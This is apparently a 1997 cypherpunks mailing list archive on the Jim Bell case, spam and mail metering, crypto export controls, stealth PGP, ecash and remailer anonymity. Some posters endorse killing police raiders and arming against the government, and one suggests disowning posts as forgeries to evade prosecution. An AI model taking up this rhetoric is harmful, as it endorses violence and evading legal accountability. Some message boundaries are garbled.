you and your lawyer aren't aware of. Their job is to get you to make
statements that can be used against you in the future if you are charged
with a crime. They attempt to lead you into making an innocent statement
such as, "I eat eggs sometimes." and the next thing you know you are in
court with a prosecutor repeating it and pointing at you accusingly.

  The fact of the matter is that guilt or innocence is no longer decided
on real evidence, for the most part. *Circumstantial* evidence rules the
roost, and it has been perverted to become a battle of which lawyer can
spin the most convincing tale around indefinite evidence.
  So you go to jail because you drive a red truck, smoke camels and own
a pair of brown socks (despite the fact that all of the witnesses
described someone who was a foot taller and a hundred pounds heavier).

  How is this crypto relevant? It is yet another symptom of why we are 
losing our privacy and our freedom.
  The Ramseys should live in a world where they can put trust in their
government and tell them everything that might remotely help find their
child's murderer, instead of unjustly ending up on the chopping block 
themselves. Cypherpunks should live in a world where they can share
their logs with the government to help them catch a child murderer and
know that their cooperation will not be used to abuse themself or others
who use the remailers.
  What about the cooperation of Jim Bell's friends. The newspapers
report that his friends say they talked about this or that in a
joking manner (or somesuch innocuous way), but you can bet your
bottom dollar that this is not mentioned on the application for
an arrest warrant. When the police interview you and ask you if
you plan to kill the president, answer, "Yes. When pigs fly."
Which part of your statement will they neglect to mention when
they file the charges against you? (Take a wild guess on this
one.)

  If you have joined in the discussion of the AP Bot, then I hope
that you saved *all* of your posts, because the government will
be introducing the ones where you described a possible implementation
but not the posts where you described the system as unfeasible and
unrealistic.
  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't
have been so quick to supply information which can be twisted and
perverted to support Bell's persecution.

TruthMonger






From mark at unicorn.com  Thu May 22 05:51:07 1997
From: mark at unicorn.com (Mark Grant)
Date: Thu, 22 May 1997 20:51:07 +0800
Subject: Spam IS Free Speech
In-Reply-To: <199705221224.HAA12708@mailhub.amaranth.com>
Message-ID: 



On Thu, 22 May 1997, Willaim H. Geiger III wrote:

> I don't know what action if any you could do against this scumbag that
> would be worth the expence. I would contact whoever he is using as a mail
> gateway for his crap and see what if anything they are willing to do about
> this.

Thanks... unfortunately all I have is an IP address (206.9.80.114), which
resolves to somewhere at means.net. I've mailed them but guess they're all
asleep at the moment.

	Mark








From aba at dcs.ex.ac.uk  Thu May 22 06:49:54 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 22 May 1997 21:49:54 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: <199705221337.OAA00948@server.test.net>



John Deters  writes:
> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
> recipient.  Think of the ISPs that are the victims of Spamford's
> CyberPromotions.  Yes, victims.  [...]
>
> This situation is the exact situation that has entangled my ISP for the
> last couple of months.
> 
> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)
> 
> It's no longer the same as shouting down the marketing researcher.  
> 
> [your unmetered rented mega phone analogy]

The problem is that you and most of the rest of the internet world are
renting your mega phones/accounts out without charging for usage
volume.  You are also allowing completely free use of your account as
a recipient, and completely free use of your sendmail as a mail hub
service.

If this causes you grief, you need to start metering, and charging
postage to receive mail, and metering mail hub usage.

If I offered to supply a completely unmetered water supply, and there
were no clause in the legal agreement prohibiting it, I could use the
water supply to drive a mini-turbine and draw free electricity from
it, just pouring the water back down the drain.

If you have a cell-phone where it costs you to receive calls, and
people call you lots with junk marketing calls, I'd argue that it was
your problem.  You'd need to switch to a cell phone provider which
puts all the call metering charges on the caller.  (Cell phone
tarriffs are structured this way in the UK, I understand some/most
cell phones in the US, the receiver pays part or all of the call, this
seems a dumb arrangement).  If it's still economical for junk callers
to call you put a tariff on your line for non-designated callers.

It's a mean world, not every one plays nicely, if you offer free
services where the user gets some value, it _will_ get abused.  The
quicker crypto technology is used to fix this on the internet the
better, otherwise we get dumb government laws governing email usage
instead.

See:
	http://www.dcs.ex.ac.uk/~aba/hashcash/

for some thoughts on a short term solution to metering.  Long term
solution use ecash.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.

Long term solution charge for your IP packets per packet.  If you get
lots of "business" use the proceeds to buy more bandwidth, or put up
your prices.

Of course I sympathise with your plight on the recieving end of this
crap in the meantime.  

Try if you can to think of it this way: spam is a good thing because
it draws our attention to underlying vulnerabilities in internet mail
transport protocols.  It's better that we are incentivized to fix
these problems (and Spamford/cyberpromo is doing us a service by
providing this incentive), than it is to leave it to governments to
"fix" the problems by dragging laws into it, which will likely result
in "Internet drivers licenses" and other undesirable effects.

Cypherpunks, I think should be involved in providing crypto solutions
to allow metering for services, using anonymous ecash.  If we don't do
it, someone else will, and it won't be anonymous.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Von: 	Chevreau Sylvain
Gesendet: 	Freitag, 16. Mai 1997 02:37
An: 	stegano-l
Betreff: 	RE: Good book on stegano?

Hi everybody, hi Deepa,

1) Maybe the tutorial/review is being written in some university or company, 
e.g. for the planed 2nd Int. Workshop on Information Hiding or other 
publications or internally. Who knows?

Because there have been several seperate publications and first compilations 
in various media in '96 and I haven't yet found any technical paper about 
steganography published in 1997. Has anybody?

My feeling is everybody is reviewing right now!

2) Actually there are already at least 2 BOOKS dedicated to steganography:

 - "Disappearing cryptography" by Peter Wayner (pcw at access.digex.net),
the review of which can be found in the CIPHER newsletter #19 (or was it 
18?) & #20.

[How to get first contact with Cipher, "Newsletter of the IEEE Computer 
Society's TC on Security and Privacy" :
BACK ISSUES:
 There is an archive that includes each copy distributed so far, in ascii,
 in files you can download at URL
 http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/cipher-archive.html
 There is also an anonymous FTP server that contains the same files.
 To access the archive via anonymous FTP:
 1. ftp www.itd.nrl.navy.mil
 2. At prompt for ID, enter "anonymous"
 3. At prompt for password, enter your actual, full e-mail address
 4. Once you are logged in, change to the Cipher Directory:
    cd pub/cipher
 5. Now you can request any of the files containing Cipher issues in ascii.
    Issues are named in the form: EI#N.9612  where N is the number of the
    issue desired and 9612 captures the year and month it appeared.
]

 - "Information Hiding", edited by Ross Anderson, Springer Verlag
Proceedings of the 1st International Workshop held in Cambridge, U.K., in 
May/June 96
Infos at URL http://www.cl.cam.ac.uk/users/rja14 (see section 'Privacy and 
Freedom issues').


3) To answer your question anyway, I would advise you to take a look at this 
nice page I've discovered recently (NEW: it's 1 month old!) :

http://www-nt.e-technik.uni-erlangen.de/~hartung/watermarkinglinks.html
Thanks to Frank Hartung by the way.

Here you will find easily several links to past BIBLIOGRAPHIES for past 
years,
and also have on overview of what's the hell is happening !!!

Good readings,
Sylvain

Sylvain Chevreau
ChevreauS at tce-rdf.fr for now, ChevreauS at thmulti.com from June on.






From whgiii at amaranth.com  Thu May 22 07:19:36 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Thu, 22 May 1997 22:19:36 +0800
Subject: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <199705221358.IAA14054@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221229.IAA20553 at dhp.com>, on 05/22/97 
   at 06:29 AM, lucifer at dhp.com (lucifer Anonymous Remailer) said:

>  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't have
>been so quick to supply information which can be twisted and perverted to
>support Bell's persecution.

Absolutly,

Tell the bastards nothing but name rank and SS#.

Last month a local conservitive talk radio host was bemoning the fact the
the Ramsey's were not cooperating with the police and why the police
couldn't just go down and make them talk to them. I called in and he was
quite shocked when I explained that:

1) Under the 5th Amendment one is not required to give any assistance to
the police in a criminal investegation.

2) That the Ramsey's were prime suspects after 48hrs and no suspect was
found.

3) That this was SOP for the LEA's to go after family members/friends of a
murder victim even though, on average, 1/3 of murders in the US are
commited by strangers and this figure is incresing.

4) He really should have known better. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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From whgiii at amaranth.com  Thu May 22 07:29:41 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Thu, 22 May 1997 22:29:41 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <199705221414.JAA14267@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221337.OAA00948 at server.test.net>, on 05/22/97 
   at 07:37 AM, Adam Back  said:


>John Deters  writes:
>> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
>> recipient.  Think of the ISPs that are the victims of Spamford's
>> CyberPromotions.  Yes, victims.  [...]
>>
>> This situation is the exact situation that has entangled my ISP for the
>> last couple of months.
>> 
>> Are you telling me that being subjected to a jack-boot investigation for
>> running pyramid schemes *and* having your customers leave because they
>> can't get mail services is a reasonable expense to bear because of
>> Spamford's "right to free speech"?  Spamford's speech (or that of his
>> "customers") isn't even directed at the sendmail operator or his customers.
>>  The sendmail operator above is merely being used by Spamford as a
>> megaphone to broadcast the message of spam to other people (who really
>> don't want it, either, but that's beside the point.)
>> 
>> It's no longer the same as shouting down the marketing researcher.  
>> 
>> [your unmetered rented mega phone analogy]

>The problem is that you and most of the rest of the internet world are
>renting your mega phones/accounts out without charging for usage volume. 
>You are also allowing completely free use of your account as a recipient,
>and completely free use of your sendmail as a mail hub service.

>If this causes you grief, you need to start metering, and charging
>postage to receive mail, and metering mail hub usage.

Bullshit! No metering of accounts is required. All that needs to be done
is blocking of all mail from Spamford's sites. He nor anyone else has a
"right" to use my equipment. If Spamford uses my equipment without my
permission he can be charged with criminal trespass. I am under no
contract with Spamford and am under no obligation to provide him so much
as 1 bit worth of bandwidth.

I have no problem with Spamford's free speech rights. He can go out buy a
bullhorn stand on a street corner and shout to his harts content. He does
not have the right to kick in my door stand on my coffee table and say a
word.

Just because one has the right of free speech does not mean that we have
to be forced to listen.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From mixmaster at remail.obscura.com  Thu May 22 08:02:08 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Thu, 22 May 1997 23:02:08 +0800
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <199705221413.HAA21211@sirius.infonex.com>


>Before charging to the rescue its a good idea to make sure
>that you are rescuing the right person. Government agents
>also have the right not to be threatened with murder.

Threats are illogical.

  --Sarin







From winsock at rigel.cyberpass.net  Thu May 22 08:34:58 1997
From: winsock at rigel.cyberpass.net (WinSock Remailer)
Date: Thu, 22 May 1997 23:34:58 +0800
Subject: SIC SEMPER TYRANNIS
Message-ID: <199705221512.IAA01747@sirius.infonex.com>



Paul Bradley  wrote:

>(Tim wrote)
>> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
>> growing pot on his ranch. He and his wife were startled by the ninjas
>> bursting into their bedroom. The doctor reached for a handgun in his
>> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
>> raiders. The estate of the doctor is currently suing the LA County
>> Sheriff's Department and other agencies, but you know how those things go.
>> I know I shock a lot of people by saying this, but I think those involved
>> in the raid should be tried on murder charges and, if found guilty,
>> executed promptly. And if the court system won't do this, which it
>> obviously won't, then the alternative is > CENSORED>.
>
>This is quite right, the police had no right to be in his house as he had 
>commited no ethical crime, therefore he merely attempted to defend 
>himself against people who had broken into his house. If they then shot 
>him they are guilty of murder, no question about it.

The interesting thing is that the envirocrats wanted the land, and the
sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
OK City, radicalized me. This man (Donald Scott) did NOTHING to
deserve his murder, and the crooks who killed him deserve death.

>If the government want a "war on drugs" they can expect a real war, where 
>the enemy fight back. 
>
>All of those fortunate enough to be living someone where they are legally 
>entitled to obtain defensive weapons, Lock and load.

Yes, and buy components. These will be outlawed before they go for
guns as such, in the hope that wear and tear will do their grab for them.

Mystrey man











From kent at songbird.com  Thu May 22 08:40:47 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 23:40:47 +0800
Subject: News about Sun and Elvis
Message-ID: <19970522072222.19267@bywater.songbird.com>


-----Forwarded message from "Judas, Roland" -----
From: "Judas, Roland" 
To: "'firewalls at greatcircle.com'" 
Subject: News about Sun and Elvis
Date: Thu, 22 May 1997 09:36:44 +0100
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner at GreatCircle.COM
Precedence: bulk

---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the 
relationship between Sun Microsystems and a Russian  company that 
produces a strong encryption product, which  Sun is licensing for 
worldwide distribution.
The White House issued a statement last night, saying, "We  are 
reviewing our regulatory posture with Sun to ensure that  their 
arrangement with the Russian encryption company is in  compliance with 
U.S. export controls."
The Department of  Commerce, which is responsible for export 
regulations on strong encryption, stressed that the administration was 
 reviewing the relationship and not conducting an  investigation, a 
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week 
that it had licensed an encryption product from Moscow, Russia-based 
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide 
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10 
percent equity stake in Elvis+, whose product is based on Sun's Simple 
Key Management for IP  (SKIP) protocol. The specification was 
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic 
commerce group, was confident the government  would find Sun "in full 
compliance with the letter of the law."  He said a key factor was that 
Sun offered no technical  assistance in the development of the 
software.
U.S. law bars the export of encryption over 56 bits without 
 government approval. Companies seeking to export 56-bit  products 
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path 
with its  browser software, but Sun has neither government approval 
 nor a method to recover keys. The administration wants access to keys 
in cases of criminal investigations. It is  concerned that strong 
encryption products could fall into the hands of terrorists, even 
though similar products are  available from nearly 30 foreign 
companies.
The statement from the White House also said it had not  evaluated the 
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or 
criminal penalties. Criminal penalties, which would be  handed out by 
the Justice Department, could mean Sun  executive officers would spend 
time in a federal prison. At press time, Sun had not seen the 
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity 
of its policy," said Marc Rotenberg, the director of  the Electronic 
Privacy Information Center. "You might see the  ,Zimmerman effect,' 
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with 
the government over his Pretty Good Privacy  encryption product, which 
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making 
a good product," Rotenberg said. "This is one  more reason to think 
the administration's cryptography policy  is not long for this 
world."
Three bills attacking the administration's policy are being  discussed 
on Capitol Hill, but only one, the Security and  Freedom through 
Encryption Act, has made it out of  committee. The bill, which was 
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key 
recovery.
President Clinton is opposed to the bill in its current form.

-----End of forwarded message-----

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From jya at pipeline.com  Thu May 22 09:23:54 1997
From: jya at pipeline.com (John Young)
Date: Fri, 23 May 1997 00:23:54 +0800
Subject: Key Recovery War
Message-ID: <1.5.4.32.19970522160240.008eed3c@pop.pipeline.com>


A couple of news reports on the Key Recovery
critique by Blaze et al from NYT and C|Net:

   http://jya.com/krnews.htm

Both cite Reinsch of BXA's counter-critique.

And another report on Sybase getting BXA
approval for export of 56-bit crypto without
key recovery. However, it's only for data storage
not communication. The story also reports that
Sybase will be allowed to export 128-bit
crypto with a key recovery plan.

   http://jya.com/krnews2.txt

And, baiting another barb, Senator Kerrey has 
entered the outline of his crypto bill in the 
Congressional Record, along with a statement on 
natsec and commerce and privacy need:

   http://jya.com/kerrey3.txt

So the Administration seems to be tickling the market, 
sending up balloons, wet fingering the air, pulling head 
out, and so forth, to see who might be induced to
succumb to the strategem of bait-and-bribe, trot-line 
eager minnows of ga-ga commerce in the national
interest, ahem, like those survivalist national labs,
Bell Labs, Lincoln Labs, Mitres, SAICs, and, their
patrons at National Security councils, departments of 
commerce, defense, state, energy, justice, et al.

Tim and Blanc are right, it's no holds barred Dual-Use
Civil-National Security War for the nation's goodies, 
no matter what fur's feigned to outfox the hounds and 
poachers and encroachers.

It would be swell if the NLs truly competed with industry,
but not likely with all those federal advisory groups
eyeing and spying and lying each other.







From tcmay at got.net  Thu May 22 09:33:51 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 00:33:51 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: 


At 3:27 AM -0800 5/22/97, Mark Grant wrote:
>> Spam is interfering with the *real* victim's (the sendmail operator's)
>> ability to provide customer service; in a very real and fiscally
>> damaging way.
>
>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week.

There are some advantages to having posts and messages forged in one's name.

Think: plausible deniability in a courtroom.

"And can you _prove_ that the article you claim my client sent to Mr. Bell
was actually written by him, and was not one of the many forgeries in my
client's name?"

I'm pretty glad I never started PGP-signing my posts, actually. I've
exchanged messages at various times with various people, and the
"non-ironclad" authorship of some of these articles may turn out to be
useful. I can always claim an article was one of Detweiler's forgeries. Or
one of the more sophisticated forgeries now being seen.

(Somewhat worrisome to me in this witch-hunting atmosphere was a special
mailing list of "activists" I was invited to join a couple of years ago. I
did join this list, but left after various acts of bombings and vengeance
were discussed. I now suspect that a couple of the most extreme
"provocateurs" were BATFags and other goons.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jad at dsddhc.com  Thu May 22 09:54:07 1997
From: jad at dsddhc.com (John Deters)
Date: Fri, 23 May 1997 00:54:07 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <3.0.1.32.19970522114016.009438c0@labg30>


At 09:13 AM 5/22/97 -0500, Willaim H. Geiger III wrote:
>In <199705221337.OAA00948 at server.test.net>, on 05/22/97 
>   at 07:37 AM, Adam Back  said:
>
>>The problem is that you and most of the rest of the internet world are
>>renting your mega phones/accounts out without charging for usage volume. 
>>You are also allowing completely free use of your account as a recipient,
>>and completely free use of your sendmail as a mail hub service.
>
>>If this causes you grief, you need to start metering, and charging
>>postage to receive mail, and metering mail hub usage.


>Bullshit! No metering of accounts is required. All that needs to be done
>is blocking of all mail from Spamford's sites. He nor anyone else has a
>"right" to use my equipment. If Spamford uses my equipment without my
>permission he can be charged with criminal trespass. I am under no
>contract with Spamford and am under no obligation to provide him so much
>as 1 bit worth of bandwidth.

I certainly agree with the cypherpunk theory of Strength Through
Mathematics instead of PseudoStrength-via-threats-of-imprisonment Through
Legislation.

Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
Metering and charging e$ for mail-routing services would allow it to occur
while stopping the freeloaders.

Blocking sites also provides a solution, although it proved too tough for
my ISP to keep up with the Chameleon that is Spamford.  To be honest, not
all the spam that struck my ISP's site was proven to be CyberPromo's fault.
 I recently saw in alt.2600 a "fan" program for spewing spam.  It runs
under Windows, and I imagine "3133t hack3rz" have been having a field day
running someone else's program to do what Spamford had to write on his own.
 They seem to be trading the addresses of unprotected sendmail demons
running on the net that they can abuse.

For now, preventing forwarding seems to be the only currently available
solution, until e$ makes its way into the protocol stack.  (Hurry up,
Robert!)  Of course, I'm not thrilled to think that every router on the
internet is going to start charging me for packet delivery, nor do I want
to spend .001 cents for visiting really.cool.foobar.com.  I'm also scared
to death of what my bill would be if I was charged a dime for every
AltaVista query.  The "bonus services", however, such as e-mail routing, or
ftp proxying, certainly could be provided for a nominal cost.

>Just because one has the right of free speech does not mean that we have
>to be forced to listen.

That's not ever been my point.  Again, the spammers are not even trying to
get this ISP or their customers to listen, they're just (mis)using their
computer facilities to blow spam about the earth.  Free speech is not the
issue.  It's "abusive overuse" of what used to be a publically available
resource.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From aba at dcs.ex.ac.uk  Thu May 22 10:15:50 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 23 May 1997 01:15:50 +0800
Subject: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: 
Message-ID: <199705221644.RAA02012@server.test.net>



Tim May  writes:
> [...]
> Probably any stealthy versions of PGP or S/MIME would best be handled
> outside of PGP or other vendors...just modify their source code and
> distribute the stealthy versions.

You use Macs, there is a version of PGP for the Mac which does have a
stealth function integrated.  Zbigniew Fiedorowicz
 has it on his web page.

Zbig produced that as a port of the pgp-stealth 2.x which I did as a
modification of Henry Hastur's pgp-stealth.

pgp-stealth 2.x, a standalone command line utility, for unix, PCs,
etc. to post and pre-process PGP messages is at:

	http://www.dcs.ex.ac.uk/~aba/stealth/

I also have a partly finished stealth as a patch to pgp263i which I'll
finish sometime.

Adam






From aba at dcs.ex.ac.uk  Thu May 22 10:21:47 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 23 May 1997 01:21:47 +0800
Subject: ecash & remailers
Message-ID: <199705221703.SAA02054@server.test.net>



It occurs to me that there is a problem with remailers using Chaum's
ecash as offered by MT bank and others.

The attacker could coerce the sender of an anonymous message into
revealing his blinding value, and use this to obtain the identity of
each remailer hop by colluding with the bank.  (The bank keeps a
database of the blinded coins minted against who they were given to;
unblinding reveals the coin which can then be compared against those
deposited by remailers, tallying sender with remailer, all the way to
the exit remailer.)

To stop this, the sender should discard the blinding values, thereby
removing his ability to be later coerced, or to later trace the
recipient of his cash.

Is there a way to purge blinding values from the ecash directory?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705221649.RAA02019@server.test.net>



TruthMonger -96  writes:
> [...]
>   I have used a variety of "names" as a writer, musician and as a
> fugitive from injustice. Whenever I looked in the mirror, however,
> I always saw the same face. And no matter what "persona" I am using,
> I find that I feel most like "myself" when I speak and act honestly,
> no matter whether my stance is homeostatic or dichotymous.

I wasn't arguing against anyone speaking anonymously.  Use all the
strong anonymity you can get, you're welcome to it.

Adam






From aba at dcs.ex.ac.uk  Thu May 22 10:25:52 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 23 May 1997 01:25:52 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: <199705221633.RAA01999@server.test.net>



William Geiger  writes:
> >The problem is that you and most of the rest of the internet world are
> >renting your mega phones/accounts out without charging for usage volume. 
> >You are also allowing completely free use of your account as a recipient,
> >and completely free use of your sendmail as a mail hub service.
> 
> >If this causes you grief, you need to start metering, and charging
> >postage to receive mail, and metering mail hub usage.
> 
> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites. He nor anyone else has a
> "right" to use my equipment. If Spamford uses my equipment without my
> permission he can be charged with criminal trespass. I am under no
> contract with Spamford and am under no obligation to provide him so much
> as 1 bit worth of bandwidth.

So why are you leaving your machine configured so that he clearly can
use your bandwidth?

Courts are uneconomical solutions.  It's as if I had said the fact
that you left a $100 bill sat on your doorstep might have something to
do with the fact that you are now $100 worse off, and as if I had
suggested to you that a solution might be to be more careful about
leaving money/resources in easily accessible places, and perhaps it
would be better to store your money in a wallet and it is then as if
you had replied:

William Geiger  writes:
: Bullshit! No wallets are required.  All that needs to be done is for a
: court injunction made stopping this particular thief from picking up
: my money.  He nor anyone else has a "right" to take my money.  If
: Joe Thief picks up my money without my permission he can be charged
: with theft.  I am under no contract with Joe Thief and am under no
: obligation to keep my money in a wallet.

I hope you see the similarity in argument.

Clearly you can only issue injunctions against people you can
identify.  If not you don't get your property back.

Your solution is to require legislation, or court intervention ("he
can be charged with criminal trespass").  So how are you going to get
a reasonable prosecution rate on this one?  Perhaps replace cash with
a traceable form, so that you can trace who it was that took your
money?  Perhaps escrow peoples positions so that the government can
trace the thief.  Perhaps have the government put video cameras up at
intervals of 100m in residential areas?

The costs and unattractiveness of government intervention are even
worse on the net.  

Do you want legislation stating that you can sue people who send more
than a certain number of posts via your sendmail hub?  Consider the
logical consequences... you must be able to identify people to sue
them, therefore:

	- Internet Drivers licenses must be required
	- Remailers will be outlawed
	- Every SMTP session must be authenticated with your True Name

Are you in favour of these?  Realise that these provisions will be in
the 1998 anti-SPAM bill put before congress, and the congress critters
will say that the regulation of anonymity on the net was as a result
of public demand.  In this case, they will probably be right about the
demand.

Note that I did not say Spamford had a _right_ to spam you, just that
with government "solutions" to this problem the "cure" is worse than
the problem, at least from a pro-privacy perspective.

> I have no problem with Spamford's free speech rights. He can go out buy a
> bullhorn stand on a street corner and shout to his harts content. He does
> not have the right to kick in my door stand on my coffee table and say a
> word.

Yeah but he didn't kick anything in, he just used something which was
setup to be used for free, in an unmetered fashion, where no contracts
were agreed to before hand.

You might perhaps with some justification argue that there is an
implicit contract to act reasonably, well ok, this is largely the way
the internet used to work 10 years ago, but the problem is still how
are you going to catch him.  What about sendmail forgeries, what about
public access terminals, what about remailers, what about free AOL
disks, etc, etc.  You've got to admit it's worse than hopeless.  The
government "solution" to the problem would attempt to make the net
fully traceable.

By arguing for the use of litigation for spam, you are hastening the
outlawing of remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



On Thu, 22 May 1997, Tim May wrote:

> There are some advantages to having posts and messages forged in one's name.
> Think: plausible deniability in a courtroom.
> "And can you _prove_ that the article you claim my client sent to Mr. Bell
> was actually written by him, and was not one of the many forgeries in my
> client's name?"

Yes, there certainly are advantages, though I wonder what will happen if
any of these 'junk email' laws go through. Next time someone decides to
spam with a forged unicorn.com address I could end up in court (of course
this is one of the many reasons why I'm against those laws even in the
current circumstances). At least this has givne me the incentive to set up
a proper email-filtering system even if it's wasted most of a day.

> I'm pretty glad I never started PGP-signing my posts, actually. I've
> exchanged messages at various times with various people, and the
> "non-ironclad" authorship of some of these articles may turn out to be
> useful. I can always claim an article was one of Detweiler's forgeries. Or
> one of the more sophisticated forgeries now being seen.

There's also something to be said for PGP-signing all your innocuous
posts; that could give you a greater potential for denial if you had a
history of signing and the 'dangerous' posts were unsigned.

	Mark






From tcmay at got.net  Thu May 22 10:37:47 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 01:37:47 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: 


I want to expand on one of the points I just made. As I think about the
issue more, the more I see signings of posts as being more of a help to my
enemies (prosecutors, in this context) and less of a help to my friends.

At 9:14 AM -0800 5/22/97, Tim May wrote:


>"And can you _prove_ that the article you claim my client sent to Mr. Bell
>was actually written by him, and was not one of the many forgeries in my
>client's name?"
>
>I'm pretty glad I never started PGP-signing my posts, actually. I've
>exchanged messages at various times with various people, and the
>"non-ironclad" authorship of some of these articles may turn out to be
>useful. I can always claim an article was one of Detweiler's forgeries. Or
>one of the more sophisticated forgeries now being seen.

Consider that signing an article is offering something of value. (Standard
point about identity being just another credential, or element in a
negotiation.)

In almost all casual conversations, such as what we see on these mailing
lists, signature checking is not really needed. Absent evidence that
widespread forgery is going on, who cares whether "Mark Grant" is _really_
Mark Grant (whatever that may mean, philosophically).

Of more importance to me lately, given developing events, is that my words
will come back to haunt me in this post-free-speech era, where conspiracy,
RICO, and "plotting" are apparently the real crimes being prosecuted.

